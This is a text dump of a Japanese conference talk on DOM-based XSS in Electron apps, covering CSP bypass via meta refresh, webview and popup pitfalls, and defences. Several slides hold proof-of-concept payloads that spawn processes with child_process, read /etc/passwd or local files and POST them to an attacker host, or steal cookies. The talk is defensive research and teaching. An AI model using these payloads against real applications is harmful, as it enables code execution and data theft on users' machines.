SlideShare a Scribd company logo
1 of 62
Build cross platform desktop XSS
It’s easier than you think
ELECTRON
Secure Sky Technology Inc.
Yosuke HASEGAWA
Yosuke HASEGAWA @hasegawayosuke
Secure Sky Technology Inc. Technical Advisor
OWASP Kansai Chapter Leader
OWASP Japan Chapter board member
CODE BLUE Review board member
http//utf-8.jp/ Author of jjencode, aaencode
Talked at Black Hat Japan 2008, KOREA POC 2008,
POC 2010, OWASP AppSec APAC 2014 and others.
Found many vulns of IE, Firefox and others.
Secure Sky Technology Inc. CODE BLUE 2016
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
GitHub社によって開発された、クロスプラット
フォームなデスクトップアプリケーションを開発
するためのフレームワーク
HTML+JavaScriptでアプリケーションを作成で
きる
多くのアプリケーションで使用実績
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
HTML + JavaScript = Native Apps
Microsoft HTML Application (*.hta)
Firefox OS
Apache Cordova / Adobe PhoneGap
Chrome Apps
Electron / NW.js
Electron
Cross platform
バイナリのビルドが可能
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
Node.jsとChromiumをランタイムとして内包
メインプロセス
アプリケーション全体を統括。node.jsそのもの
レンダラプロセス
Chromium+node.js
main
process
renderer
process
Electron Apps
IPC
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
main
process
renderer
process
Electron Apps
IPC
index.html
package.json
{
"name" : "Apps name",
"version" : "0.1",
"main" : "main.js"
}
main.js
let win = new BrowserWindow( {width:840,height:700} );
{json}
<html>
<head>...</head>
<body>
<script>...</script>
</body>
</html>
win.loadURL( `file://${__dirname}/index.html` );
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
レンダラではブラウザ内でnode.jsが動く
node機能は無効にもできる。デフォルト有効。
<html>
<script>
const fs = require( "fs" );
function foo(){
fs.readFile( "./test.txt", { encoding: "utf-8" },
(err, data) => {
document.getElementById("main").textContent = data;
}
);
}
</script>
<div id="main">
</div>
</html>
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策
レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策
レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策
様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策
レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策
レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策
様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
レンダラプロセス : Chromium + node.js
DOM操作が多くなりがち
DOM-based XSSが発生しやすい
JavaScriptによるオープンリダイレクタ
従来のWebアプリ同様のフロントエンドのセキュ
リティ対策が必要
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
DOM-based XSSが発生しやすい
DOM操作が多い
そもそもDOM-based XSSは見つけにくい
fs.readFile( filename, (err,data) => {
if(!err) element.innerHTML = data; //XSS!
});
fs.readdir( dirname, (err,files) => {
files.forEach( (filename) => {
let elm = document.createElement( "div" );
elm.innerHTML =
`<a href='${filename}'>${filename}</a>`; //XSS!
paerntElm.appendChild( elm );
});
});
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
DOM-based XSSが発生すると致命的な被害
攻撃者のインジェクトしたコード内でもnode機能が
利用可能な場合が多い
XSS = alert だけではない
ローカルファイルの読み書き
任意プロトコルでの通信
他アプリへの干渉
任意プロセスの生成
つまり、DOM-based XSSをきっかけに任意の
コード実行が可能となる
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
従来のWebアプリ
ニセ情報の表示、Cookieの漏えい、Webサイト内の
情報の漏えい…
「該当Webサイト内」でJSができること全て
該当Webサイトを超えては何もできない
ブラウザに守られている … サンドボックス
脆弱性があっても自身のWebサイト以外への影響
はない
サイト運営者が責任を持てる範囲でしか被害が発
生しない
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
ElectronにおけるXSS
アプリを使っているユーザーの権限での任意コード
の実行
PC内でそのユーザーができること全て
 既存アプリケーションの破壊
 オンラインバンキング用アプリの改ざん、盗聴
 マルウェア感染、配信
該当アプリケーションの範囲を超えて何でもできる
開発者の責任の重みがまったく変わってくる
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
Electronアプリに対する攻撃に対して
Webサイト改ざんのJavaScript
難読化されていても最終的にはDOM操作
<iframe>や<script>の挿入を探す
Electronに対する攻撃用JavaScript
どのような処理でも可能性として存在
挙動を詳細に調査する必要がある
解析するため側の技術も未成熟
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策
レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策
レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策
様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
ローカルアプリとしてのセキュリティ対策
ローカルアプリのセキュリティ対策も必要
symlink攻撃
レースコンディション
暗号の不適切な利用
過大なアクセス権限
 機密情報が644など
ファイル名の別名表記
 8.3形式、ADS(file.txt::$DATA)など
その他諸々
Webアプリとは異なる知識背景
プラットフォーム固有の知識も必要
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策
レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策
レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策
様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Electron固有のセキュリティ対策
個々のAPIを使う上での注意点
<webview> tag
shell.openExternal
Electronのアーキテクチャ上の問題点
BrowserWindowは通常 file:// をロードする
ブラウザと異なりアドレスバーが存在しない
Secure Sky Technology Inc. CODE BLUE 2016
Deep dive into
DbXSS of Electron
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
ソースをエスケープせずにシンクに与えることで
JS上で発生するXSS
ソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして
実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
従来のXSSでの被害
alertの表示
Webアプリ内に偽情報を表示
Cookieの奪取
Webアプリ内の機密情報の奪取
他には?
elm.innerHTML = "<img src=# onerror=alert('xss!')>";
elm.innerHTML = "<form>ログイン:<input type='password'>";
elm.innerHTML = "<img src=# onerror="new
Image().src='http://example.jp/?'+document.cookie">";
elm.innerHTML = "<img src=# onerror="new
Image().src='http://example.jp/?'+elm.innerHTML">";
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
レンダラ上でnode機能がデフォルト有効
// xss_source は攻撃者がコントロール可能な文字列
elm.innerHTML = xss_source; // XSS!
<img src=# onerror=
"require('child_process').exec('calc.exe',null);">
<img src=# onerror="
let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s });
">
Secure Sky Technology Inc. CODE BLUE 2016
”
“
DOM-based XSS on Electron apps
任意コード実行が可能 - まるでバッファオーバーフロー
XSS: The New Buffer Overflow
In many respects, an XSS vulnerability is
just as dangerous as a buffer overflow.
多くの点から見て、XSS 脆弱性の危険性はバッファ
オーバーフローに匹敵します。
"Security Briefs: SDL Embraces The Web", Apr. 2008
http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e
n-us/magazine/cc794277.aspx
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることで
JS上で発生するXSS
ソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして
実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることで
JS上で発生するXSS
ソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして
実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
ユーザ名
データベース
ファイルの内容
ファイルの内容
ファイル名 ログの内容
webFrame.executeJavaScript
webViewrequire
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
従来のWebアプリでは存在しなかったソース
HTTPやWebと無関係なあらゆるデータがXSSソー
スとなり得る
シンクはそれほど増えていない
requireなどに動的な引数を与えることは通常ない
ソースを意識するのではなく、シンクへ渡す際に
エスケープすることが重要
適切なDOM操作(textContent、setAttribute等)
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
XSS対策としてレンダラにCSPを適用することは
効果があるのか
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
renderer
//index.js
elm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
xss_source =
'<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">';
<script>
require('child_process').exec('calc.exe',null);
</script>
http://evil.utf-8.jp/
meta refreshはCSPによって制限されない
レンダラで開かれる。レンダラ内ではnode機能が利用可能。
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
renderer
//index.js
elm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS?
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS!
app.on('ready', () => {
win = new BrowserWindow({width:600, height:400} );
win.loadURL(`file://${__dirname}/index.html`);
....
main.js
origin === 'file://'
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
renderer
//index.js
iframe.setAttribute("src", xss_source); // XSS!
xss_source = 'file://remote-server/share/trap.html';
window.top.location=`data:text/html,
<script>require('child_process').exec('calc.exe',null);</script>`;
file://remote-server/share/trap.html
originが"file://"なので攻撃者のファイルサーバも同じオリジン
top level windowではnode機能が使える
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
CSPによってリソースの読み込みを制限しても
meta refreshによってページ遷移が可能
レンダラ内を攻撃者の用意した罠ページに遷移
攻撃者の用意した罠ページではもちろんCSPは効
かない
file://なので攻撃者のリソースも同一オリジンに
なる
iframeやscriptソースを埋め込みやすい
レンダラ内ではnode機能が使える
結論:CSPではXSSの脅威を軽減できない
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
レンダラのnodeを無効にすれば脅威は低減
BrowserWindow生成時に明示的に無効を指定す
る必要がある。デフォルト有効。
app.on('ready', () => {
win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
....
main.js
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
レンダラではデフォルトでnode機能が有効に
なっている
明示的にnodeを無効にしなければ有効のまま
レンダラでnodeを無効にすると、Electronアプリと
して実用的なことが出来なくなる
それでもnode無効化は効果があるのか?
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
node無効のJSでどこまでの攻撃が可能か
そもそもオリジンがfile://になっている
XHR等でローカルファイルの読み取りが可能
app.on('ready', () => {
win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
....
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://c:/file.txt", true );
xhr.onload = () => {
fetch( "http://example.jp/",
{ method:"POST",body:xhr.responseText } );
};
xhr.send( null );
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnode無効化
明示的に指定することでnodeを無効化できる
nodeを無効化にするとアプリとして実用的なこ
とは出来なくなる
nodeを無効にしてもローカルファイルの読み取
りは可能
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
アプリケーションとしてDOM操作する対象を
<iframe sandbox>内のみに限定する
iframeを外から操作
iframe内でDbXSSが発生しても被害を抑えられる
<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
....
document.querySelector("#sb")
.contentDocument.querySelector("#msg").innerHTML =
"Hello, XSS!<script>alert(1)</script>"; // not work
Secure Sky Technology Inc. CODE BLUE 2016
DbXSSの緩和 - <iframe sandbox>
<iframe sandbox[="params"]> 代表的なもの
allow-forms - フォームの実行を許可
allow-scripts - スクリプトの実行を許可
allow-same-origin - 同一オリジン扱いを許可
allow-top-navigation - topへの干渉を許可
allow-popups - ポップアップを許可
allow-scriptsを指定するのは危険
iframe内で普通にJSが動く
allow-top-navigation、allow-popupsも危険
Secure Sky Technology Inc. CODE BLUE 2016
<iframe sandbox="allow-popups">
<iframe sandbox="allow-same-origin allow-popups" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
...
var xss = `<a target="_blank"
href="data:text/html,<script>require('child_process')
.exec('calc.exe',null);</script>">Click</a>`;
document.querySelector("#sb")
.contentDocument.querySelector("#msg").innerHTML = xss;
Click
(iframe)
data:text/html,
<script>require(...)
← CE C ± √
7 8 9 / %
4 5 6 * 1/x
1 2 3 -
=
0 . +
0
popupによって生成されたBrowserWindowでは、node
機能が有効な状態でJavaScriptが動く
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
他のサイトをレンダラ内に埋め込む
iframeと異なりwebview内から外側は完全に見え
ない(window.topなど)
外からも簡単にはDOM操作できない
(iframe.contentWindowのようなものはない)
webviewごとにnode機能の有無を指定可能
allowpopups属性により新しいウィンドウの生成を
許可
<webview src="http://example.jp/"></webview>
<webview src="http://example.jp/" nodeintegration></webview>
<webview src="http://example.jp/" allowpopups></webview>
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
window.open()、<a target=_blank>などで新
しく開かれたウィンドウ
iframeとwebviewではnodeの有効・無効は異なる
<webview
allow-popups>
node無効
レンダラ (node有効)
<iframe>
nodeは常に無効
レンダラ (node有効)
<webview
allow-popups
nodeintegration>
node有効
レンダラ (node有効)
新しいレンダラ
(node無効)
新しいレンダラ
(node有効)
新しいレンダラ
(node有効)
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
nodeは無効にしpreload機能を使うほうが安全
preload script内ではnode無効のwebview内で
あってもnode機能が利用可能
<webview src="http://example.jp/" preload="./prealod.js">
</webview>
//preload.js
window.loadConfig = function(){
let file = `${__dirname}/config.json`;
let s = require("fs").readFileSync( file, "utf-8" );
return JSON.eval( s );
};
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース
既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース
既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース
既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body>
<webview src="http://example.jp/"></webview>
<script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
webview内に3rd partyの
広告が入る
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
webview内に3rd partyの広告が入る場合
広告JSもwebview内で自由にコード実行
webviewでnodeが有効な場合は広告JSもnode
機能も使える
nodeが無効な場合でもwindow.top経由で全画
面書き換え、偽ログイン画面の表示などはできる
悪意ある広告、配信サーバの汚染など…
Code Blue SNS
User:
Pass:
// load fake login page
window.top = "http://evil.utf-8.jp/";
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
対策: 広告はiframe sandbox内に表示
 topへの干渉を防ぐ
 JS埋め込み型の広告だと対策できない
Webアプリ
 オリジンを超えて広告がWebアプリへ影響を与えること
はない
 ユーザーはアドレスバーで正規サイトか確認できる
Electronアプリ
 iframe内の広告でもnode機能が有効なら悪意ある
コードが実行可能
 アドレスバーがないので正規サイトかの確認ができない
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
allowpopups属性
window.openでpopupが可能になる
window.openではfile:スキームも指定可能
攻撃者はファイルサーバを経由することでfile://オリ
ジンのスクリプトを動作させ、ローカルファイルを読
み取ることが可能
<webview src="http://example.jp/" allowpopups></webview>
// http://example.jp
window.open("file://remote-server/share/trap.html");
// file://remote-server/share/trap.html
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://C:/secret.txt", true );
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
対策
allowpopups属性をつけない
または、main.js側でURLを検査
// main.js
app.on('browser-window-created', (evt, window) => {
window.webContents.on('new-window', (evt,url) => {
let protocol = require('url').parse(url).protocol;
if (!protocol.match( /^https?:/ )) {
evt.defaultPrevented = true;
console.log( "invalid url", url );
}
});
});
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal
shell.openItem
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
URLや拡張子に対応した外部プログラムを起動
const {shell} = require( 'electron' );
const url = 'http://example.jp/';
shell.openExternal( url ); // OS標準のブラウザが起動
shell.openItem( url );
let file = 'C:/Users/hasegawa/test.txt';
shell.openExternal( file ); // OS標準の方法でファイルを開く
shell.openItem( file );
let filename = 'file://C:/Users/hasegawa/test.txt';
shell.openExternal( file ); // OS標準の方法でファイルを開く
shell.openItem( file );
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
よくあるケース
webviewからのwindow.openなどをOS標準のブ
ラウザで開く
攻撃者がURLを細工できる場合、任意のコマンドを
起動可能
 コマンドに引数は渡せない
webview.on( 'new-window', (e) => {
shell.openExternal( e.url ); // OS標準のブラウザで開く
});
<a href="file://c:/windows/system32/calc.exe">Click</a>
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
shell.openExternal、shell.openItemには任
意のURLが渡らないよう確認が必要
if (url.match( /^https?:/// )) {
shell.openExternal( url ); //ブラウザで開く
}
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
domXss().then( die ); // ACE
nodeが有効なコンテキストで外部のスクリプト
が動かないよう細心の注意が必要
file:スキームで外部のスクリプトが動かないよう
細心の注意が必要
攻撃者は罠ファイルサーバを利用可能
Secure Sky Technology Inc. CODE BLUE 2016
Question ?
hasegawa@utf-8.jp
@hasegawayosuke
http://utf-8.jp/
Credits to
@harupuxa, @kinugawamasato, nishimunea

More Related Content

What's hot

Firefox FAQ
Firefox FAQFirefox FAQ
Firefox FAQdynamis
 
すぐできるWeb制作時のセキュリティTips
すぐできるWeb制作時のセキュリティTipsすぐできるWeb制作時のセキュリティTips
すぐできるWeb制作時のセキュリティTipsyoshinori matsumoto
 
Web Technology Meeting
Web Technology MeetingWeb Technology Meeting
Web Technology Meetingdynamis
 
Firefox Security Features
Firefox Security FeaturesFirefox Security Features
Firefox Security Featuresdynamis
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
 
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...Kousuke Ebihara
 
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京Masayuki Abe
 
オンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するオンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するKenkichi Okazaki
 

What's hot (8)

Firefox FAQ
Firefox FAQFirefox FAQ
Firefox FAQ
 
すぐできるWeb制作時のセキュリティTips
すぐできるWeb制作時のセキュリティTipsすぐできるWeb制作時のセキュリティTips
すぐできるWeb制作時のセキュリティTips
 
Web Technology Meeting
Web Technology MeetingWeb Technology Meeting
Web Technology Meeting
 
Firefox Security Features
Firefox Security FeaturesFirefox Security Features
Firefox Security Features
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
 
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京
未来のwebに欠かせないREST APIをApache Solr + Drupal8で実装しよう@PHPカンファレンス2016 東京
 
オンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するオンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化する
 

Viewers also liked

[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英CODE BLUE
 
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten NohlCODE BLUE
 
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...CODE BLUE
 
Code blue
Code blueCode blue
Code bluewcmc
 
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...CODE BLUE
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...CODE BLUE
 
[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten Nohl[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten NohlCODE BLUE
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac DawsonCODE BLUE
 

Viewers also liked (9)

[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
[CB16] IoTとしての自動車とセキュリティ: リモートサービスのセキュリティ評価とその対策の検討 - by 和栗直英
 
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
[CB16] 基調講演: セキュリティはどれくらいが適量? – How much security is too much? – by Karsten Nohl
 
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
[CB16] Using the CGC’s fully automated vulnerability detection tools in secur...
 
Code blue
Code blueCode blue
Code blue
 
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
[CB16] ATMS how to break them to stop the fraud. by Olga Kochetova & Alexey O...
 
[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten Nohl[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten Nohl
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
 

Similar to [CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by はせがわようすけ

次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)Yosuke HASEGAWA
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/AndroidセキュアコーディングMasaki Kubo
 
.NET の過去、現在、そして未来
.NET の過去、現在、そして未来.NET の過去、現在、そして未来
.NET の過去、現在、そして未来Akira Inoue
 
Firefox OS - Blaze Your Own Path
Firefox OS - Blaze Your Own PathFirefox OS - Blaze Your Own Path
Firefox OS - Blaze Your Own Pathdynamis
 
Kilimanjaro Event
Kilimanjaro EventKilimanjaro Event
Kilimanjaro Eventdynamis
 
体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話Yutaka Maehira
 
Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or Serverless
